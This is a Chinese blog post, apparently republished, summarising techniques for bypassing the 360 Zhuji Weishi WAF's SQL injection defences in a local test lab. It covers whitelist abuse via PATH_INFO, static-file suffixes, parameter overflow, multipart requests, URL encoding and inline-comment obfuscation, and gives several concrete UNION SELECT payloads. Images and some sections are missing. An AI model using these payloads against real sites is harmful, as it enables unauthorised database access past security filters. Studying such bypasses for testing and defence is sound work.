SQL注入绕WAF总结

标签：mil   enc   形式   逻辑   超出   内联   add   技术   share   

0x00 前言

0x01 环境搭建

360主机卫士官网：http://zhuji.360.cn
软件版本：360主机卫士Apache 纪念版
测试环境：phpStudy
这边主要分享一下几种思路，Bypass 360 主机卫士 SQL 注入防御。

<ignore_js_op>

0x02 WAF测试

因zhuji.360.cn站点已关闭，拦截界面为空白，抓包先放一张拦截图：

<ignore_js_op>

姿势一：网站后台白名单

在360主机卫士客户端设置中存在默认网站后台白名单，如图：

<ignore_js_op> 

利用PHP中的PATH_INFO问题，随便挑选一个白名单加在后面，可成功bypass。

<ignore_js_op>

姿势二：静态资源

当文件后缀名为js、jpg、png等静态资源后缀请求，类似白名单机制，waf为了检测效率，直接略过这样一些静态资源文件名后缀的请求。
<ignore_js_op>

姿势三：缓冲区溢出

姿势四：uri参数溢出

[AppleScript] 纯文本查看 复制代码

?

1 2	/test.php?id=1 union select 1,2,schema_name from information_schema.SCHEMATA POST：aaa

<ignore_js_op>

姿势六：multipart/form-data格式

如果转换数据包进行绕过呢？

首先，新建一个html页面：

然后，在浏览器打开并在输入框中输入参数，抓包发送到Repeater，进一步构造Payload获取数据。
<ignore_js_op>

姿势七：编码绕过

[AppleScript] 纯文本查看 复制代码

?

1 2	/test.php?id=1 POST：id=1 %55nion %53elect/* !1,2,schema_name %0aFROM information_schema.SCHEMATA* /

<ignore_js_op>

姿势八：%0a+内联注释

[AppleScript] 纯文本查看 复制代码

?

1 2 3

http://192.168.204.128/test.php POST： id=1 union%0a/* !12345select* / 1,2,schema_name%0a/* !12345from */information_schema.SCHEMATA

<ignore_js_op>

0x03 自动化Bypass

<ignore_js_op> 

<ignore_js_op> 

<ignore_js_op> 

0x04 END

SQL注入绕WAF总结

标签：mil   enc   形式   逻辑   超出   内联   add   技术   share   

原文地址：https://www.cnblogs.com/echod/p/9149962.html